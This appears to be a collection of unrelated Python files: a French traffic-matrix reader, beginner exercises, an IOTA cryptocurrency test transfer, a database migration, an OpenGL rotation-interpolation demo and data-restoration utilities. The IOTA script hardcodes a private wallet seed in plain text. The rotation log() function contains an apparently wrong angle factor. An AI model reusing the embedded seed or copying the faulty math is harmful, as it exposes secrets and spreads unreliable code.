    def CORDPL_func(self):
        CORDPL = pd.read_csv(Mat_Calees[f'CORDPL_{self.per}_{self.n}'].path,
                              sep=Mat_Calees[f'CORDPL_{self.per}_{self.n}'].sep,
                              skiprows=Mat_Calees[f'CORDPL_{self.per}_{self.n}'].skip,
                             encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
        CORDPL = complete(CORDPL, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
        CORDPL['FLUX'].fillna(0, inplace=True)
        CORDPL = CORDPL.loc[(CORDPL['ZONEO'] > cNbZone + cNbZspec)|(CORDPL['ZONED'] > cNbZone + cNbZspec), :]
        return CORDPL

    def CALEPL_func(self):
        if self.per == 'PPM':
            hor = (6.00, 10.00)
        elif self.per == 'PCJ':
            hor = (10.00, 16.00)
        else:
            hor = (16.00, 20.00)
        if self.n == 'scen':
            if idPL == 1:
                CALEPL = pd.read_csv(Mat_Calees[f'CALEPL_{self.per}_actuel'].path,
                                     sep=Mat_Calees[f'CALEPL_{self.per}_actuel'].sep,
                                     skiprows=Mat_Calees[f'CALEPL_{self.per}_actuel'].skip,
                                     encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL = complete(CALEPL, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                CALEPL['FLUX'].fillna(0, inplace=True)
                CALEPL['FLUX'] = CALEPL['FLUX'] * (1 + CroisPIB/100) ** (scen - actuel)
                # Kiko - Waiting for SAS licence to run %ecriredavisum to see what it does.
                ecriredavisum(CALEPL, Quatre_Etapes.main.out_mat, 'PL_S_scen', 'VP', hor[0], hor[1])
                return CALEPL
            elif idPL == 2:
                CALEPL = pd.read_csv(Mat_Calees[f'CALEPL_J_actuel'].path,
                                     sep=Mat_Calees[f'CALEPL_J_actuel'].sep,
                                     skiprows=Mat_Calees[f'CALEPL_J_actuel'].skip,
                                     encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL_scen = pd.read_csv(Mat_Calees[f'CALEPL_J_scen'].path,
                                     sep=Mat_Calees[f'CALEPL_J_scen'].sep,
                                     skiprows=Mat_Calees[f'CALEPL_J_scen'].skip,
                                     encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL = complete(CALEPL, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                CALEPL_scen = complete(CALEPL_scen, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                # EvolPL = pd.merge(CALEPL, CALEPL_scen, on=['ZONEO', 'ZONED'])
                EvolPL = np.where(CALEPL['FLUX'] != 0, CALEPL_scen['FLUX']/CALEPL['FLUX'], 1)
                # Kiko - I think only one of these two calcs should be applied, but which one !!??
                CALEPL_per = pd.read_csv(Mat_Calees[f'CALEPL_{self.per}_actuel'].path,
                                     sep=Mat_Calees[f'CALEPL_{self.per}_actuel'].sep,
                                     skiprows=Mat_Calees[f'CALEPL_{self.per}_actuel'].skip,
                                     encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL_per_scen = pd.read_csv(Mat_Calees[f'CALEPL_{self.per}_scen'].path,
                                         sep=Mat_Calees[f'CALEPL_{self.per}_scen'].sep,
                                         skiprows=Mat_Calees[f'CALEPL_{self.per}_scen'].skip,
                                         encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL_per = complete(CALEPL_per, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                CALEPL_per = complete(CALEPL_per, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                CALEPL_per_scen = complete(CALEPL_per_scen, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                # EvolPL_per = pd.merge(CALEPL_per, CALEPL_per_scen, on=['ZONEO', 'ZONED'])
                EvolPL_per = np.where(CALEPL_per['FLUX'] != 0, CALEPL_per_scen['FLUX'] / CALEPL_per['FLUX'], 1)
                CALEPL_per['FLUX'] *= EvolPL_per
                # ecriredavisum(CALEPL, Quatre_Etapes.main.out_mat, 'PL_S_scen', 'VP', hor[0], hor[1])
                # Pas besoin d'ecriredavisum, car on travaille directement avec l'API de VISUM pour mettre les flux dedans.
                with open(f'{dir_dataTemp}_CALEPL_{self.per}', 'wb') as dbfile:
                    pkl.dump(CALEPL_per['FLUX'].to_numpy().reshape(cNbZtot, cNbZtot), dbfile)
                return CALEPL_per
            elif idPL == 3:
                CALEPL = pd.read_csv(Mat_Calees[f'CALEPL_{self.per}_scen'].path,
                                     sep=Mat_Calees[f'CALEPL_{self.per}_scen'].sep,
                                     skiprows=Mat_Calees[f'CALEPL_{self.per}_scen'].skip,
                                     encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])
                CALEPL = complete(CALEPL, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
                CALEPL['FLUX'].fillna(0, inplace=True)
                ecriredavisum(CALEPL, Quatre_Etapes.main.out_mat, 'PL_S_scen', 'VP', hor[0], hor[1])
                return CALEPL
            #   4-a. Lecture et mise en forme des vecteurs spécifiques
    def vect_spec(self):
        VS, VS_Emp_CDG, VS_Emp_ORLY, VS_Voy_CDG, VS_Voy_ORLY = readVS(self.per, self.n, cZEmpCDG, cZEmpORLY,
                                                                      cZVoyCDG, cZVoyORLY)
        PoidsVS = pd.read_csv(Vect_spec[f'Poids_VS_{self.n}'].path, sep=Vect_spec[f'Poids_VS_{self.n}'].sep)
        PoidsVS.rename(columns={'Em_HPS': 'Em_PPS', 'Em_HPC': 'Em_PCJ', 'Em_HPM': 'Em_PPM',
                                              'Att_HPS': 'Att_PPS', 'Att_HPC': 'Att_PCJ', 'Att_HPM': 'Att_PPM'},
                                 inplace=True)
        # 4-b. Lecture et mise en forme des Poids VS :
        # 			on sépare les HPM des HPS et on créé un vecteur Poids VS de 1327 lignes
        PoidsVS = PoidsVS.loc[:, ('ZONE', f'Em_{self.per}', f'Att_{self.per}')].copy()
        return PoidsVS, VS, VS_Emp_CDG, VS_Emp_ORLY, VS_Voy_CDG, VS_Voy_ORLY
    def VSTC(self):
        VSTCCDG = pd.read_csv(Vect_spec[f'VSTC_CDG_{self.per}_{self.n}'].path,
                              sep=Vect_spec[f'VSTC_CDG_{self.per}_{self.n}'].sep)
        VSTCCDG.rename(columns={'flux': 'FLUX', 'Flux': 'FLUX'}, inplace=True)
        VSTCORLY = pd.read_csv(Vect_spec[f'VSTC_ORLY_{self.per}_{self.n}'].path,
                              sep=Vect_spec[f'VSTC_ORLY_{self.per}_{self.n}'].sep)
        VSTCORLY.rename(columns={'flux': 'FLUX', 'Flux': 'FLUX'}, inplace=True)
        return VSTCCDG, VSTCORLY

#     5. Dans le cas scénario avec report de calage, lecture des matrices calées en vue du report de calage
    def CALEUVP(self):
        CALEUVP = pd.read_csv(Mat_Calees[f'CALEUVP_{self.per}_{caleVP}'].path,
                              sep=Mat_Calees[f'CALEUVP_{self.per}_{caleVP}'].sep,
                              skiprows=Mat_Calees[f'CALEUVP_{self.per}_{caleVP}'].skip,
                              encoding='Latin-1')
        CALEUVP.columns = ['ZONEO', 'ZONED', 'FLUX']
        CALEUVP = complete(CALEUVP, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
        CALEUVP.sort_values(by=['ZONEO', 'ZONED'], inplace=True)
        return CALEUVP

    def CALETC(self):
        CALETC = pd.read_csv(Mat_Calees[f'CALETC_{self.per}_{caleVP}'].path,
                              sep=Mat_Calees[f'CALETC_{self.per}_{caleVP}'].sep,
                              skiprows=Mat_Calees[f'CALETC_{self.per}_{caleVP}'].skip,
                              encoding='Latin-1')
        CALETC.columns = ['ZONEO', 'ZONED', 'FLUX']
        CALETC = complete(CALETC, cNbZone, cNbZone + 1, cNbZspec, cNbZone + cNbZspec + 1, cNbZext, 1)
        CALETC.sort_values(by=['ZONEO', 'ZONED'], inplace=True)
        return CALETC

#     6. Lecture des vecteurs voyageurs émis et attirés par les gares TC
    def read_VGTC(self):
        VGTC = pd.read_csv(Vect_gare[f'VGTC_{self.per}_{self.n}'].path, sep=Vect_gare[f'VGTC_{self.per}_{self.n}'].sep)
        VGTC.rename(columns={'Flux':'FLUX'}, inplace=True)
        return VGTC

    def read_VGVP(self):
        VGVP = pd.read_csv(Vect_gare[f'VGTC_{self.per}_{self.n}'].path, sep=Vect_gare[f'VGTC_{self.per}_{self.n}'].sep)
        VGVP.rename(columns={'Flux': 'FLUX'}, inplace=True)
        return VGVP

# read_mat = read_mat()
# read_mat.n = 'actuel'
# read_mat.per = 'PPS'
#
# CORDVP = read_mat.CORDVP_func()
# CORDPL = read_mat.CORDPL_func()
# CORDVP.FLUX.notna().sum()
#
# read_mat = read_mat()
# read_mat.per = 'PPS'
# read_mat.n = 'actuel'
# CALEPL = read_mat.CALEPL_func()
# CALEPL.FLUX.notna().sum()
# PoidsVS, VS, VS_Emp_CDG, VS_Emp_ORLY, VS_Voy_CDG, VS_Voy_ORLY = read_mat.vect_spec()
#
# CALEPL_per
#
# CALEPL = pd.read_csv(Mat_Calees[f'CALEPL_PPS_scen'].path,
#                                      sep=Mat_Calees[f'CALEPL_PPS_scen'].sep,
#                                      skiprows=Mat_Calees[f'CALEPL_PPS_scen'].skip,
#                                      encoding='latin-1', names=['ZONEO', 'ZONED', 'FLUX'])

if __name__ == '__main__':
    read_mat = read_mat()
    read_mat.per = 'PPM'
    read_mat.n = 'scen'
    CALEUVP = read_mat.CALEUVP()
    # CALEPL = read_mat.CALEPL_func()


l = []
for i in range(2000, 3201):
    if (i % 7 == 0) and (i % 5 != 0):
        l.append(str(i))

#print(l)
print(','.join(l))

#Factorial Program

def fact(x):
    if x == 0:
        return 1
    return x * fact(x - 1)

x = int(input("\nEnter any positive no.:"))
print(f"Factorial of {x}  is: {fact(x)}")

##################
d = dict()
for i in range(0, 4):
    d[i] = i*i
print(d)


# -*- coding: utf-8 -*-

#sonstige Utility imports
from __future__ import print_function
import time
import logging
import sys
sys.path.append("/home/pi/.local/lib/python2.7/site-packages")  #path muss hinzugefügt werden damit PyOta librarys gefunden werden können

from iota import Iota, ProposedTransaction, ProposedBundle, Address, Tag, TryteString       #importe Iota-Bibliothek um die API anzusprechen
from iota.crypto.addresses import AddressGenerator

# Reciever Seed: GCUKFZRLCTBGBDKQCQY9SMJPDPLFBDJJFTXZANHDJUTCZKIQQEUHSAVOYWKPTDDNEWRGBFWDMWYYRLRUR
# returned Address at index 0 for Security Level 2
reciever_address = "LOZMZOKJWWVASYYWT999JPLDBMUSFZKMLZW9IXHTOAUOQKZMRLRAZCWECAFONWKT9HSHKHLMKAWSQFFXX"

seed = "DSPOAXMVSC99IUIVJXTIBZFATVFKTCLLJYOLAGSMFJGFXAWEB9GNTQWEDVRYHKIOQF9T9IZY9IVPKTSZK"
url = "https://potato.iotasalad.org:14265" #fullnode url
api = Iota(url, seed) #erstelle Iota API
logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)
logger = logging.getLogger(__name__)
api.adapter.set_logger(logger)

proposedTrx = ProposedTransaction(
    address = Address(reciever_address),
    value = 0,
    tag = Tag("BACHELORTEST"),
    message = TryteString.from_string("This is a test transaction")
)

proposedBundle = ProposedBundle([proposedTrx])
preparedBundle = api.prepare_transfer(proposedBundle)
publishedBundle = api.send_transfer(depth = 3, transfers = proposedBundle)

SmartRefueling/Raspberry Pi - Python/transfer-test.py


"""empty message

Revision ID: 4b4bc246171
Revises: 5930870a26b
Create Date: 2015-03-18 10:08:55.404885

"""

# revision identifiers, used by Alembic.
revision = '4b4bc246171'
down_revision = '5930870a26b'

from alembic import op
import sqlalchemy as sa

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('payment',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('date', sa.String(length=60), nullable=False),
    sa.Column('token_id', sa.String(length=60), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.drop_table('customer')
    ### end Alembic commands ###

def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('customer',
    sa.Column('id', sa.INTEGER(), nullable=False),
    sa.Column('name', sa.VARCHAR(length=60), nullable=False),
    sa.Column('token_id', sa.VARCHAR(length=60), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.drop_table('payment')
    ### end Alembic commands ###


import sys
#sys.setrecursionlimit(20000)

class Node:
    def __init__(self, start, end):
        self.start = start
        self.end = end
        self.space = end - start
        self.left = None
        self.right = None

def build_tree(root):
    start, end = root.start, root. end
    if end - start <= 1:
        return
    mid = (start + end)//2
    root.left = Node(start, mid)
    root.right = Node(mid, end)
    build_tree(root.left)
    build_tree(root.right)

def find(root, i):
    root.space -= 1
    if root.left == None:
        return root.start
    if root.left.space > i:
        return find(root.left, i)
    return find(root.right, i - root.left.space)

class Solution:
	# @param heights : list of integers
	# @param infronts : list of integers
	# @return a list of integers
	def order(self, H, P):
	    root = Node(0, len(H))
	    build_tree(root)
	    ans = [0] * len(H)
	    for h, p in sorted(zip(H, P)):
	        i = find(root, p)
	        ans[i] = h
	    return ans

	def order1(self, heights, infronts):
	    n = len(heights)
	    d = {}
	    for i in range(n):
	        d[heights[i]] = infronts[i]
	    heights.sort()
	    ans = [0]*n
	    pos = list(range(n))
	    for h in heights:
	        ans[pos[d[h]]] = h
	        pos.pop(d[h])
	    return ans


import glfw
from OpenGL.GL import *
from OpenGL.GLU import *
import numpy as np
from OpenGL.arrays import vbo

gCamAng = 0.
gCamHeight = 1.

def createVertexAndIndexArrayIndexed():
    varr = np.array([
            ( -0.5773502691896258 , 0.5773502691896258 ,  0.5773502691896258 ),
            ( -1 ,  1 ,  1 ), # v0
            ( 0.8164965809277261 , 0.4082482904638631 ,  0.4082482904638631 ),
            (  1 ,  1 ,  1 ), # v1
            ( 0.4082482904638631 , -0.4082482904638631 ,  0.8164965809277261 ),
            (  1 , -1 ,  1 ), # v2
            ( -0.4082482904638631 , -0.8164965809277261 ,  0.4082482904638631 ),
            ( -1 , -1 ,  1 ), # v3
            ( -0.4082482904638631 , 0.4082482904638631 , -0.8164965809277261 ),
            ( -1 ,  1 , -1 ), # v4
            ( 0.4082482904638631 , 0.8164965809277261 , -0.4082482904638631 ),
            (  1 ,  1 , -1 ), # v5
            ( 0.5773502691896258 , -0.5773502691896258 , -0.5773502691896258 ),
            (  1 , -1 , -1 ), # v6
            ( -0.8164965809277261 , -0.4082482904638631 , -0.4082482904638631 ),
            ( -1 , -1 , -1 ), # v7
            ], 'float32')
    iarr = np.array([
            (0,2,1),
            (0,3,2),
            (4,5,6),
            (4,6,7),
            (0,1,5),
            (0,5,4),
            (3,6,2),
            (3,7,6),
            (1,2,6),
            (1,6,5),
            (0,7,3),
            (0,4,7),
            ])
    return varr, iarr

def drawCube_glDrawElements():
    global gVertexArrayIndexed, gIndexArray
    varr = gVertexArrayIndexed
    iarr = gIndexArray
    glEnableClientState(GL_VERTEX_ARRAY)
    glEnableClientState(GL_NORMAL_ARRAY)
    glNormalPointer(GL_FLOAT, 6*varr.itemsize, varr)
    glVertexPointer(3, GL_FLOAT, 6*varr.itemsize, ctypes.c_void_p(varr.ctypes.data + 3*varr.itemsize))
    glDrawElements(GL_TRIANGLES, iarr.size, GL_UNSIGNED_INT, iarr)

def drawFrame():
    glBegin(GL_LINES)
    glColor3ub(255, 0, 0)
    glVertex3fv(np.array([0.,0.,0.]))
    glVertex3fv(np.array([3.,0.,0.]))
    glColor3ub(0, 255, 0)
    glVertex3fv(np.array([0.,0.,0.]))
    glVertex3fv(np.array([0.,3.,0.]))
    glColor3ub(0, 0, 255)
    glVertex3fv(np.array([0.,0.,0]))
    glVertex3fv(np.array([0.,0.,3.]))
    glEnd()

def l2norm(v):
    return np.sqrt(np.dot(v,v))

def normalized(v):
    l = l2norm(v)
    return (1/l) * np.array(v)

def exp(rv):
    th = l2norm(rv)

    if not th:
        ux = uy = uz = 0
    else:
        ux, uy, uz = normalized(rv)

    R = np.array([[np.cos(th) + ux*ux*(1-np.cos(th)), ux*uy*(1-np.cos(th)) - uz*np.sin(th), ux*uz*(1-np.cos(th)) + uy*np.sin(th)],
                  [uy*ux*(1-np.cos(th)) + uz*np.sin(th), np.cos(th) + uy*uy*(1-np.cos(th)), uy*uz*(1-np.cos(th)) - ux*np.sin(th)],
                  [uz*ux*(1-np.cos(th)) - uy*np.sin(th), uz*uy*(1-np.cos(th)) + ux*np.sin(th), np.cos(th) + uz*uz*(1-np.cos(th))]])

    return (R)

def log(R):
    if np.trace(R) == 3:
        u = np.array([0, 0, 0])
    elif np.trace(R) == -1:
        if((R[0][2] != 0) or (R[1][2] != 0) or (R[2][2] + 1 != 0)):
            u = np.array([R[0][2], R[1][2], R[2][2] + 1])/(np.sqrt(2*(1 + R[2][2])))
        elif (R[0][1] != 0) or (R[1][1] + 1 != 0) or (R[2][1] != 0):
            u = np.array([R[0][1], R[1][1] + 1, R[2][1]])/(np.sqrt(2*(1 + R[1][1])))
        else:
            u = np.array([R[0][0] + 1, R[1][0], R[2][0]])/(np.sqrt(2*(1 + R[0][0])))
    else:
        th = np.arccos((np.trace(R) - 1)/2)*(np.pi/2)
        ux = (R[2][1] - R[1][2])/(2*np.sin(th))
        uy = (R[0][2] - R[2][0])/(2*np.sin(th))
        uz = (R[1][0] - R[0][1])/(2*np.sin(th))
        u = np.array([ux, uy, uz])

    return u

def slerp(R1, R2, t):
    slerp = R1@exp(t*log((R1.T) @ R2))

    return slerp

frame = 0
def render():
    global gCamAng, gCamHeight, frame
    glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)
    glEnable(GL_DEPTH_TEST)

    glMatrixMode(GL_PROJECTION)
    glLoadIdentity()
    gluPerspective(45, 1, 1,10)

    glMatrixMode(GL_MODELVIEW)
    glLoadIdentity()
    gluLookAt(5*np.sin(gCamAng),gCamHeight,5*np.cos(gCamAng), 0,0,0, 0,1,0)

    # draw global frame
    drawFrame()

    glEnable(GL_LIGHTING)
    glEnable(GL_LIGHT0)

    glEnable(GL_RESCALE_NORMAL)

    lightPos = (3.,4.,5.,1.)
    glLightfv(GL_LIGHT0, GL_POSITION, lightPos)

    lightColor = (1.,1.,1.,1.)
    ambientLightColor = (.1,.1,.1,1.)
    glLightfv(GL_LIGHT0, GL_DIFFUSE, lightColor)
    glLightfv(GL_LIGHT0, GL_SPECULAR, lightColor)
    glLightfv(GL_LIGHT0, GL_AMBIENT, ambientLightColor)

    T = np.eye(4)
    T[0][3] = 1
    M1 = np.eye(4)
    M2 = np.eye(4)

    setObjectColor(1, 0, 0)
    First_R1 = XYZEuler(np.radians(20), np.radians(30), np.radians(30))
    First_R2 = XYZEuler(np.radians(15), np.radians(30), np.radians(25))
    M1[:3, :3] = First_R1
    M2[:3, :3] = First_R2
    drawObject(M1, M2)

    setObjectColor(1,1,0)
    Second_R1 = XYZEuler(np.radians(45), np.radians(60), np.radians(40))
    Second_R2 = XYZEuler(np.radians(25), np.radians(40), np.radians(40))
    M1[:3, :3] = Second_R1
    M2[:3, :3] = Second_R2
    drawObject(M1, M2)

    setObjectColor(0,1,0)
    Third_R1 = XYZEuler(np.radians(60), np.radians(70), np.radians(50))
    Third_R2 = XYZEuler(np.radians(40), np.radians(60), np.radians(50))
    M1[:3, :3] = Third_R1
    M2[:3, :3] = Third_R2
    drawObject(M1, M2)

    setObjectColor(0, 0, 1)
    Fourth_R1 = XYZEuler(np.radians(80), np.radians(85), np.radians(70))
    Fourth_R2 = XYZEuler(np.radians(55), np.radians(80), np.radians(65))
    M1[:3, :3] = Fourth_R1
    M2[:3, :3] = Fourth_R2
    drawObject(M1, M2)

    if frame <= 20:
        t = frame/20.0
        setObjectColor(1,1,1)
        R1 = slerp(First_R1, Second_R1, t)
        R2 = slerp(First_R2, Second_R2, t)
        M1[:3, :3] = R1
        M2[:3, :3] = R2
        drawObject(M1, M2)
    elif 20 < frame and frame <= 40:
        t = (frame-21)/24.0
        setObjectColor(1, 1, 1)
        R1 = slerp(Second_R1, Third_R1, t)
        R2 = slerp(Second_R2, Third_R2, t)
        M1[:3, :3] = R1
        M2[:3, :3] = R2
        drawObject(M1, M2)
    else:
        t = (frame-41)/19.0
        setObjectColor(1, 1, 1)
        R1 = slerp(Third_R1, Fourth_R1, t)
        R2 = slerp(Third_R2, Fourth_R2, t)
        M1[:3, :3] = R1
        M2[:3, :3] = R2
        drawObject(M1, M2)

    frame += 1
    frame = frame % 61
    glDisable(GL_LIGHTING)

def setObjectColor(R, G, B):
    objectColor = (R, G, B)
    specularObjectColor = (1., 1., 1., 1.)
    glMaterialfv(GL_FRONT, GL_AMBIENT_AND_DIFFUSE, objectColor)
    glMaterialfv(GL_FRONT, GL_SHININESS, 10)
    glMaterialfv(GL_FRONT, GL_SPECULAR, specularObjectColor)

def drawObject(R1, R2):
    J1 = R1

    glPushMatrix()
    glMultMatrixf(J1.T)
    glPushMatrix()
    glTranslatef(0.5,0,0)
    glScalef(0.5, 0.05, 0.05)
    drawCube_glDrawElements()
    glPopMatrix()
    glPopMatrix()

    T1 = np.identity(4)
    T1[0][3] = 1.

    J2 = R1 @ T1 @ R2

    glPushMatrix()
    glMultMatrixf(J2.T)
    glPushMatrix()
    glTranslatef(0.5,0,0)
    glScalef(0.5, 0.05, 0.05)
    drawCube_glDrawElements()
    glPopMatrix()
    glPopMatrix()

def XYZEuler(xang, yang, zang):
    X = np.array([[1, 0, 0],
                 [0, np.cos(xang), -np.sin(xang)],
                 [0, np.sin(xang), np.cos(xang)]])
    Y = np.array([[np.cos(yang), 0, np.sin(yang)],
                  [0, 1, 0],
                  [-np.sin(yang), 0, np.cos(yang)]])
    Z = np.array([[np.cos(zang), -np.sin(zang), 0],
                  [np.sin(zang), np.cos(zang), 0],
                  [0, 0, 1]])

    return X@Y@Z

def key_callback(window, key, scancode, action, mods):
    global gCamAng, gCamHeight
    # rotate the camera when 1 or 3 key is pressed or repeated
    if action==glfw.PRESS or action==glfw.REPEAT:
        if key==glfw.KEY_1:
            gCamAng += np.radians(-10)
        elif key==glfw.KEY_3:
            gCamAng += np.radians(10)
        elif key==glfw.KEY_2:
            gCamHeight += .1
        elif key==glfw.KEY_W:
            gCamHeight += -.1

gVertexArrayIndexed = None
gIndexArray = None

def main():
    global gVertexArrayIndexed, gIndexArray
    if not glfw.init():
        return
    window = glfw.create_window(640,640,'2019057356', None,None)
    if not window:
        glfw.terminate()
        return
    glfw.make_context_current(window)
    glfw.set_key_callback(window, key_callback)
    glfw.swap_interval(1)

    gVertexArrayIndexed, gIndexArray = createVertexAndIndexArrayIndexed()

    while not glfw.window_should_close(window):
        glfw.poll_events()

        #t = glfw.get_time()
        render()

        glfw.swap_buffers(window)

    glfw.terminate()

if __name__ == "__main__":
    main()


from typing import Optional, Tuple
import IPython

from reward_machine import RewardMachine

class Builder:
    def __init__(self, appears: frozenset[str]):
        self.appears = appears
        self.transitions: dict[int,
                               dict[frozenset[str], Tuple[int, int]]] = dict()
        self.terminal_states: set[int] = set()

    def build(self) -> RewardMachine:
        return RewardMachine(self.transitions, frozenset(self.appears), frozenset(self.terminal_states))

    def terminal(self, state: int) -> 'Builder':
        self.terminal_states.add(state)
        return self

    def t(self, from_state: int, to_state: int, input_symbol: frozenset[str], output: int) -> 'Builder':
        if from_state in self.terminal_states:
            raise ValueError(
                f'terminal states can\'t have outgoing connections')
        if from_state not in self.transitions:
            self.transitions[from_state] = dict()
        if input_symbol in self.transitions[from_state]:
            raise ValueError(
                f'{input_symbol} already in state {from_state} ({(from_state, to_state, input_symbol, output)})')
        self.transitions[from_state][input_symbol] = (to_state, output)
        return self


import numpy as np
import pandas as pd
from rat.ratmath import get_lines, restore_line
from rat.ratedit import roll_strong
import time

def get_names_and_targets(table_a, table_b, name_cols=None, targets_a=None, targets_b=None):
    """
    Returns arrays of name columns, target columns from table_a and target columns from table_a.

    Parameters:
    -----------
    table_a : DataFrame or array-like
        Left table or list of thats columns names

    table_b : DataFrame or array-like
        Right table or list of thats columns names

    name_cols : array-like or None
        List of name-containing columns names (from both tables)
        If it's None, then it will be defined.

    targets_a : array-like or None
        List of value-containing columns from left table
        If it's None, then it will be defined.

    targets_b : array-like or None
        List of value-containing columns from right table
        If it's None, then it will be defined.

    Returns:
    --------
    name_cols : array-like
        List of name-containing columns names (from both tables)

    targets_a : array-like
        List of value-containing columns from left table

    targets_b : array-like
        List of value-containing columns from right table

    """
    try:
        cols_a = table_a.columns
        cols_b = table_b.columns
    except AttributeError:
        cols_a = table_a
        cols_b = table_b
    if name_cols is None:
        name_cols = np.intersect1d(cols_a, cols_b)
    if targets_a is None:
        targets_a = np.setdiff1d(cols_a, name_cols)
    if targets_b is None:
        targets_b = np.setdiff1d(cols_b, name_cols)
    return name_cols, targets_a, targets_b

def get_rows_target_names(targets_a, targets_b):
    """
    Returns column-arrays of targets for one name.

    Parameters:
    -----------
    targets_a : array-like
        List of value-containing columns from left table

    targets_b : array-like
        List of value-containing columns from right table

    Returns:
    --------
    rows_target_names_a : ndarray
        Values for left target column

    rows_target_names_b :
        Values for right target column

    """
    rows_target_names_a = np.repeat(targets_a, len(targets_b))
    rows_target_names_b = np.concatenate([targets_b for i in targets_a])
    return rows_target_names_a, rows_target_names_b

def restore_table(table_a, table_b,
                  name_cols=None, targets_a=None, targets_b=None,
                  name_a='A', name_b='B', name_res='X',
                  integer=False, nonneg=True, obj_type='dependences', solver='SCS',
                  correct=True, print_status=False, throw_sums_error=True):
    """
    Returns one simple-restored table ("simple" means "do not roll column to columns")

    Parameters:
    -----------
    table_a : DataFrame or array-like
        Left table or list of thats columns names

    table_b : DataFrame or array-like
        Right table or list of thats columns names

    name_cols : array-like or None
        List of name-containing columns names (from both tables)
        If it's None, then it will be defined.

    targets_a : array-like or None
        List of value-containing columns from left table
        If it's None, then it will be defined.

    targets_b : array-like or None
        List of value-containing columns from right table
        If it's None, then it will be defined.

    name_a : string
        Name of column contains target columns from left table

    name_b : string
        Name of column contains target columns  from right table

    name_res : string
        Name of result value column

    integer : bool
        Should the solve be integer?
        Use correct solver. Some of them must be installed separately.
        https://www.cvxpy.org/tutorial/advanced/index.html

    nonneg : bool
        Should the solve be nonnegative?

    obj_type : str or function
        Type of minimizing object.
        If that is function, then will be minimize value obj_type(x) by x,
        Else:
            'squares' : minimize sum of squares : (x_ij)^2
            'dependences' : minimize sum of dependence values : (s*x_ij - a_i*b_j)^2

    solver : string
        Solver keyword argument

    correct: bool
        Should mistake be corrected?

    print_status : bool
        Should status be printed, when the problem be solved?

    throw_sums_error: bool
        Should the program be broken, where line_a and line_b has no equivalunt sums?

    Returns:
    --------
    table_res : DataFrame
        "Restored" table

    """
    name_cols, targets_a, targets_b = get_names_and_targets(table_a, table_b, name_cols, targets_a, targets_b)
    len_a = len(targets_a)
    len_b = len(targets_b)

    table_a = table_a.sort_values(by=list(name_cols))
    table_b = table_b.sort_values(by=list(name_cols))

    table_res = pd.DataFrame(np.repeat(table_a[name_cols].values, len_a*len_b, axis=0),
                             columns=name_cols).astype(str)

    rows_target_names_a, rows_target_names_b = get_rows_target_names(targets_a, targets_b)
    table_res[name_a] = np.concatenate([rows_target_names_a for i in range(len(table_a))])
    table_res[name_b] = np.concatenate([rows_target_names_b for i in range(len(table_b))])

    lines_a = get_lines(table_a, name_cols=list(name_cols), val_cols=list(targets_a), sort=True)
    lines_b = get_lines(table_b, name_cols=list(name_cols), val_cols=list(targets_b), sort=True)
    lines_res = [restore_line(lines_a[i], lines_b[i], integer=integer, nonneg=nonneg, obj_type=obj_type,
                              solver=solver, correct=correct, print_status=print_status,
                              throw_sums_error=throw_sums_error) for i in range(len(lines_a))]
    table_res[name_res] = np.concatenate(lines_res)

    return table_res

def restore_alot(tables, name_cols, tab_names=None, name_res='X',
                 tab_name_prefix='Table_', name_fluid='__FLUID__',
                 integer=False, nonneg=True, obj_type='dependences', solver='SCS',
                 correct=True, print_status=False, print_time=False,
                 throw_sums_error=False):
    """
    Returns table - consistently restored from =tables.

    Parameters:
    -----------
    tables : list
        List of tables

    name_cols : array-like
        List of name-containing columns names (from all tables)

    tab_names : array-like or None
        List of value names for each table
        If it's None, then it will be defined.

    name_res : string
        Name of result value column

    tab_name_prefix : string
        Prefix for generete tab_names if it's None.

    name_fluid : string
        name_res in interim tables

    integer : bool
        Should the solve be integer?
        Use correct solver. Some of them must be installed separately.
        https://www.cvxpy.org/tutorial/advanced/index.html

    nonneg : bool
        Should the solve be nonnegative?

    obj_type : str or function
        Type of minimizing object.
        If that is function, then will be minimize value obj_type(x) by x,
        Else:
            'squares' : minimize sum of squares : (x_ij)^2
            'dependences' : minimize sum of dependence values : (s*x_ij - a_i*b_j)^2

    solver : string
        Solver keyword argument

    correct: bool
        Should mistake be corrected?

    print_status : bool
        Should status be printed, when the problem be solved?

    print_time : bool
        Should time for every restoring be printed?

    throw_sums_error: bool
        Should the program be broken, where line_a and line_b has no equivalunt sums?

    Returns:
    --------
    table_res : DataFrame
        "Restored" table

    """
    if tab_names is None:
        tab_names = np.char.add(tab_name_prefix, np.arange(len(tables)).astype(str))
    if len(tables) > len(tab_names):
        raise ValueError('Different list lengths.\nlen(val_names) < len(tables)')

    if len(tables) == 0:
        return pd.DataFrame()
    if len(tables) == 1:
        return tables[0]

    if print_time:
        start = time.monotonic()

    big = restore_table(tables[0], tables[1], name_cols=name_cols,
                        name_a=tab_names[0], name_b=tab_names[1], name_res=name_res,
                        integer=integer, nonneg=nonneg, obj_type=obj_type, solver=solver,
